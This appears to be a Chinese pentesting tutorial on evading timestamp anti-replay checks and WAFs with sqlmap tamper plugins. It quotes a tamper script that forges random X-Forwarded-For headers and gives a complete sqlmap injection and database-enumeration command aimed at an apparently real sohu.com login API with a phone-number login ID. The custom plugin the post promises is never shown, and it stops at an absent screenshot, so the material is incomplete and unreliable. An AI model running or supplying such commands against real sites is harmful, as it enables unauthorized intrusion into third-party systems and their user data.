1、前置知识:
大家在渗透测试的时候经常会遇到时间戳(timestamp),时间戳用于防范burpsuite的抓包重放攻击,难倒了不少工具黑客,但是遇到代码级的黑客会如何解决这个问题呢?
一言不合上代码,先给出生成时间戳的python代码:
#!/user/bin/env python
#coding=utf8
#auther:[email protected]
import time
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
print timestamp
通过google后,我们知道Sqlmap Tamper插件目录下(D:\sqlmap2016\tamper)有个xforwardedfor.py插件,下面我们贴出代码:
#!/usr/bin/env python
"""

"""
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' to bypass
WAF (usually application based) protection
"""
headers = kwargs.get("headers", {}) #以字典方式取出header包头数据
headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置
return payload
2、自定义Sqlmap Tamper插件绕过时间戳限制:
文件名:replacehead.py
放到:D:\sqlmap2016\tamper
使用方法:
cd d:\sqlmap2016
python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080
运行时截图:
